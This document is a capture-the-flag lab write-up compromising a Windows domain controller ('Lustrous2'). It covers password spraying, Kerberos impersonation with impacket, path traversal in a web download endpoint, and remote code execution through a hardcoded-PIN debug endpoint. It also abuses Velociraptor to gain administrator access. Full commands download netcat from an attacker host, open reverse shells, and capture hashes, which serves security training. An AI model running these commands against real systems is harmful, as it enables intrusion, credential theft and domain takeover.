Recon šµļø
Network Enumeration
TCP Scan
ip=10.129.234.58
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip
Based on the TCP scan results
, the following ports are available
for further assessment:
Port | Software | Version | Status | |
---|---|---|---|---|
21/tcp | ftp | ttl 127 Microsoft ftpd | open | |
53/tcp | domain | ttl 127 Simple DNS Plus | open | |
80/tcp | http | ttl 127 Microsoft IIS httpd 10.0 | open | |
88/tcp | kerberos-sec | ttl 127 Microsoft Windows Kerberos (server time: 2025-08-07 08:50:11Z) | open | |
135/tcp | msrpc | ttl 127 Microsoft Windows RPC | open | |
139/tcp | netbios-ssn | ttl 127 Microsoft Windows netbios-ssn | open | |
389/tcp | ldap | ttl 127 Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name) | open | |
445/tcp | microsoft-ds? | ttl 127 | open | |
464/tcp | kpasswd5? | ttl 127 | open | |
593/tcp | ncacn_http | ttl 127 Microsoft Windows RPC over HTTP 1.0 | open | |
636/tcp | ssl/ldap | ttl 127 Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name) | open | |
3268/tcp | ldap | ttl 127 Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name) | open | |
3269/tcp | ssl/ldap | ttl 127 Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name) | open | |
3389/tcp | ms-wbt-server | ttl 127 Microsoft Terminal Services | open | |
9389/tcp | mc-nmf | ttl 127 .NET Message Framing | open | |
49675/tcp | ncacn_http | ttl 127 Microsoft Windows RPC over HTTP 1.0 | open |
We can also observe the usual Windows Domain Controller ports (53, 88, 464, 593, 3268, 3269), along with common Windows service ports such as 135, 139, and 445. However, We can also see that FTP is running on port 21, and that ADWS is running on port 9389. Additionally, port 80 is open and running an IIS web server. The scan also reveals the domain name Lustrous2.vl
as well as the domain controller name:
letās add them to our /etc/hosts
file :
echo "$ip Lustrous2.vl LUS2DC.Lustrous2.vl" | sudo tee -a /etc/hosts
Active Directory Enumeration
Enumerating FTP
Since FTP is open, I decided to start with it. Netexec
confirmed that anonymous login is allowed, so I connected using anonymous
as the username and left the password empty (you can enter anything there). Inside, I found a bunch of directories, so I exited and decided to download them recursively to my attack host to make enumeration easier:
nxc ftp Lustrous2.vl -u '' -p ''
ftp Lustrous2.vl
wget -m -nH --cut-dirs=0 --no-passive-ftp --user=anonymous --password=anonymous ftp://Lustrous2.vl/
After running for a while and downloading everything it could, we can see that most directories are empty except for Homes
, which contains subdirectories that appear to belong to users on the system and ITSEC which has an audit draft:
First, letās make a usernames list out of the folders in the /HOMES
directory and save it for later:
cat ../../wordlists/lustrousUsernames.list
In the audit report draft, we can see that they have addressed a few issues. However, they are still dealing with weak user passwords, which we might be able to leverage in a password spraying attack using our usernames list:
Now we know that one of the users weāve collected might be using a ridiculously simple password, but relying on luck and manual guessing isnāt practical. So, letās automate the process using Elpscrk. Iāll provide it with the name of the box along with ā2024ā the year the box was originally released on VulnLab. This generates a list of 52 potential passwords:
python3 elpscrk.py
To automate the process, I created a small Bash script that acts as a wrapper around kerbrute
ās password spraying functionality. It feeds a new password in each iteration:
#!/bin/bash
USERNAME_LIST="wordlists/lustrousUsernames.list"
PASSWORD_LIST="wordlists/lustrousPossiblePasswords.list"
DOMAIN="Lustrous2.vl"
DC="LUS2DC.Lustrous2.vl"
DELAY=1000
while IFS= read -r password; do
echo "Spraying password: $password"
kerbrute passwordspray -d "$DOMAIN" --dc "$DC" "$USERNAME_LIST" "$password" --verbose --delay "$DELAY"
echo "Completed spray for $password"
sleep 1
done < "$PASSWORD_LIST"
fi
After running for a little while we get our first set of working credentials:
Thomas.Myers:Lustrous2024
Since NTLM authentication is disabled, we need to configure our kerberos to access those services, first letās sync the time with the DC
:
sudo ntpdate Lustrous2.vl
sudo nxc smb LUS2DC.Lustrous2.vl --generate-krb5-file /etc/krb5.conf -k
We can see that our configuration file was generated successfully:
Lets export it then request a TGT:
export KRB5_CONFIG=/etc/krb5.conf
impacket-getTGT 'Lustrous2.vl/Thomas.Myers:Lustrous2024'
export KRB5CCNAME=Thomas.Myers.ccache
Bloodhound
Now that we have a TGT, letās use it to connect to LDAP and collect data for BloodHound. Since the target is configured with channel binding and signing, we need to run our command accordingly. Iāll start a Python virtual environment, install all the dependencies, and then run the command:
python3 -m venv myenv
source myenv/bin/activate
pip uninstall bloodhound-ce -y
pip install git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce
pip install git+https://github.com/ly4k/ldap3
bloodhound-ce-python -u 'Thomas.Myers' -no-pass -k -d 'lustrous2.vl' -ns $ip --ldap-channel-binding -c All --zip
After feeding the data into BloodHound, I couldnāt find any direct paths to get a shell, but the SHARESVC
service accountās service SPNs caught my eye. It has two SPNs, one of which is for a web server, likely the one running on port 80. So, letās move on to that:
Exploiting š¦
Foothold
To kick off our enumeration, I started with port 80, where a website appears to be running. The response headers confirm that it is indeed an ASP.NET application running on Microsoft-IIS/10.0; however, we receive a 401 Unauthorized status, indicating that authentication is required to access it:
From the response headers, we can see that the website is running on IIS 10.0. However, the WWW-Authenticate
header and its value caught my attention. A quick Google search reveals that this header is used to specify the authentication schemes supported by the server. In our case, the value is Negotiate
, which according to the documentation indicates that the server uses Kerberos for authentication:
Since we already have a ticket, letās put it in good use and authenticate to the web server in port 80 using this Command:
curl -I --negotiate -u : http://lus2dc.lustrous2.vl -v
We can see that the request now goes through and we no longer get a 401 error like before. We can also run curl in verbose mode to observe the steps of the authentication, which is pretty cool:
We can also see that a new kerberos ticket tied to the SHARESVC
was created:
If you canāt authenticate, destroy all the tickets then generate a new TGT and export it.
LFI in the /download
endpoint
If we check the response, we see a link tied to a button for downloading a file named audit.txt
, which is likely the same one we encountered earlier:
curl -s --negotiate -u : http://lus2dc.lustrous2.vl -v
We see that we can download it:
Since file downloads are usually vulnerable to LFI, I tested for it and found out that itās indeed vulnerable:
curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../../../Windows/win.ini
One thing I like to do when I discover an LFI vulnerability is check for the serverās configuration file. According to Microsoft documentation, itās typically stored as web.config
in the applicationās root directory:
curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config
In the file, we can see that the application runs a DLL located in the same directory, and it also specifies the location of the log files:
Reversing the LuShare.dll
file:
Letās download the .dll
file:
curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../LuShare.dll --output LuShare.dll
After downloading it, I opened it in ILSpy to inspect its contents. The code isnāt obfuscated, and within the controllers, we can see that aside from the download feature weāve been using so far, there are two additional features: Upload
and Debug
. However, both are only accessible to members of the ShareAdmins
group:
Just out of curiosity, I checked out the /download
endpoint to understand why itās vulnerable to LFI. Usually, such vulnerabilities stem from misconfigurations in the input sanitizer, but in this case, thereās no sanitization happening at all:
The upload()
function seems pretty standard:
In the debug()
function, we see that it takes two parameters: a command and a PIN. If the correct PIN is provided, it creates a PowerShell session, executes the command, and returns its output. Strangely enough, the PIN is hardcoded, and we can clearly see its value:
pin:ba45c518
Our path forward seems clear: first, we need to identify whoās in the ShareAdmins
group, gain access to one of their accounts, then use that to authenticate and exploit the RCE. I checked BloodHound and found two members Ryan.Davies
and Sharon.Birch
neither of whom has a direct connection to thomas.myers
:
Getting ShareSvc
credentials via NTLM Relay
I queried their accounts with ldapsearch
but didnāt find any plaintext credentials like in previous boxes, so itās time to go kinetic. First, letās see if we can trick the user running the app (probably ShareSvc
) into leaking their NTLM hash by making them read a file from our fake share:
curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=//10.10.16.28/frenzy/gimmeHash
I copied the hash to a file and then fed it to Hashcat, which cracked it in no time:
sharesvc:'#1Service'
After waiting a while and repeating the process to see if we could capture more hashes, especially from either of the two users in the SHAREADMINS
group, we still came up empty. These two users are the only ones with access to the debug and upload features, yet oddly, the service account running the application has no direct link to the group or its members, nor any obvious attack paths. I confirmed this by resetting the machine, pulling the data again, and checking the GPOs, but still found nothing.
Since the application uses Kerberos for authentication, itās likely that these users are configured for either constrained or unconstrained delegation. Looking back at the audit file we pulled from the FTP share, we noticed an entry about SeImpersonate
. The wording was odd at first, it seemed like they had disabled it to mitigate security risks. But with my current theory about how the application works, it now seems more likely that they enabled it to allow those two users to authenticate to the application.

With that in mind, letās try using the sharesvc
credentials to request a valid service ticket for one of them:
Abusing Unconstrained Delegations:
Impersonating Sharon.Birch
:
First weāll sync our time with the DC, then request a TGT for the sharesvc
user:
sudo ntpdate Lustrous2.vl
impacket-getTGT 'Lustrous2.vl/sharesvc:#1Service'
export KRB5CCNAME=sharesvc.ccache
Then impersonate the user and request a TGS:
impacket-getST -self -impersonate 'Sharon.Birch' -k 'LUSTROUS2.VL/sharesvc:#1Service' -altservice 'HTTP/lus2dc.lustrous2.vl'
Now we export it and verify access to the secure endpoints:
export KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Upload -I
curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug -I
Finally a big W in this box, We have access:
Impersonating Ryan.Davies
:
Weāll do the same to ryan
:
impacket-getST -self -impersonate 'ryan.davies' -k 'LUSTROUS2.VL/sharesvc:#1Service' -altservice 'HTTP/lus2dc.lustrous2.vl'
export KRB5CCNAME=ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Upload -I
curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug -I
We have access with their account as well:
RCE through the /File/Debug
endpoint:
According to the code, we can execute commands by sending a POST request to the /File/Debug
endpoint, including the command and the PIN as parameters. To test this, I crafted the following curl
command, and after executing it we see that indeed we have code execution on target:
curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug -d "command=whoami /priv" -d "pin=ba45c518" -s
Shell as: Ryan.Davis
Finally, a big win on this box. Letās go for a reverse shell first, weāll upload Netcat:
curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug -d "command=iwr http://10.10.16.28:6695/nc64.exe -outfile \temp\nc.exe" -d "pin=ba45c518" -s
Then execute it to get our reverse shell:
curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug -d "command=/temp/nc.exe 10.10.16.28 6666 -e powershell" -d "pin=ba45c518" -s
Now we can grab the flag. Instead of being in the current userās Desktop directory, itās placed in the root directory under a different username than usual likely to ensure that everyone goes through the reverse shell step to read it, rather than grabbing it early through LFI:
Privilege Escalation
Abusing Velociraptor for Command Execution
During the enumeration phase in BloodHound, we discovered that the system has over 70 users. Strangely, however, only the Administrator account has a home directory:
If we check our current userās privileges, we notice an unusual one: SeAuditPrivilege
. Even though itās disabled, its presence suggests that the system might be running some sort of auditing service:
In the root directory, we see an unusual folder named datastore
:
Looking through it, we find a database file for VelociraptorServer
:
A quick google search reveals that
Velociraptor
isĀ an open-source, cross-platform, and lightweight endpoint monitoring and digital forensics tool.
This confirms that the program is available on the target:
In the server directory, we see the executable as well as two configuration files:
In the server configuration file, we see a user named admin
, which is likely how the administrator is running Velociraptor:
In the server documentation they explain that velociraptor runs over the gRPC streaming server:
We also see that the traffic between the clients and the server is encrypted using certificates, whose private keys are stored in the server configuration files:
The docs also recommend removing the private keys section from the server configuration file to prevent attackers from abusing them, which wasnāt done in our case:
But none of this helps us elevate privileges to administrator, so I dug deeper into the documentation and discovered that Velociraptor includes a code execution module that calls the execve()
syscall directly with the arguments we provide:
Which we can call by:
.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','whoami'])"
We can also see how configuration files can be created for clients, whether they are regular users or administrators:
Shell as Administrator
:
Putting it all together, our attack chain is straightforward:
- Generate an administrator configuration file.
- Use it to execute commands as the administrator, thereby obtaining a reverse shell.
So, letās generate the config file:
.\velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client --name admin --role administrator \programdata\administrator.config.yaml
We do encounter a few āAccess is deniedā errors, but it looks like the file was successfully generated. Fingers crossed š¤ itās complete and not just a partial configuration file:
To test it, I passed the generated administrator config file to the command from earlier, and it confirmed that we have RCE as administrator:
.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\administrator.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','whoami'])"
Letās reuse the Netcat command from earlier to get a reverse shell as administrator:
.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\administrator.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','/temp/nc.exe 10.10.16.28 6660 -e powershell'])"
Now, we can collect the root flag:
Beyond Root š
The constrained delegation configuration:
We arenāt done yet. One thing that still bugs me is how the ShareSvc
service account is able to request service tickets on behalf of Ryan.Davies
and Sharon.Birch
. From what we see, the ShareSvc
service account itself isnāt configured for delegation:
Get-ADUser -Identity sharesvc -Properties msDS-AllowedToDelegateTo,TrustedForDelegation,TrustedToAuthForDelegation
But the lus2dc
computer is configured to be trusted for delegation:
Get-ADComputer -Identity lus2dc -Properties TrustedForDelegation,msDS-AllowedToActOnBehalfOfOtherIdentity | Select-Object Name,TrustedForDelegation
Sadly, I didnāt make the connection between the computer and the service account, even though it was staring me in the face the whole time in both SPNs:
While researching, I found Microsoftās documentation explaining how Kerberos uses the S4U2Proxy extension to enable computer accounts (like lus2dc
) to delegate access to backend services (such as HTTP/lus2dc.lustrous2.vl
) on behalf of service accounts (like ShareSvc
). This is part of Kerberos Constrained Delegation, allowing a middle-tier service running under a computer account (the ShareSvc
account) to obtain service tickets to other services for users or service accounts, even when those users (like Ryan.Davies
) havenāt directly authenticated to the domain controller. In this box, By abusing the S4U2Self Kerberos extension, We could request a service ticket to the service account itself on behalf of an arbitrary principal (impersonating Ryan.Davies
and Sharon.Birch
) using getST.py
with the ShareSvc
TGT, enabling me to access the web service as that privileged user despite the protections.
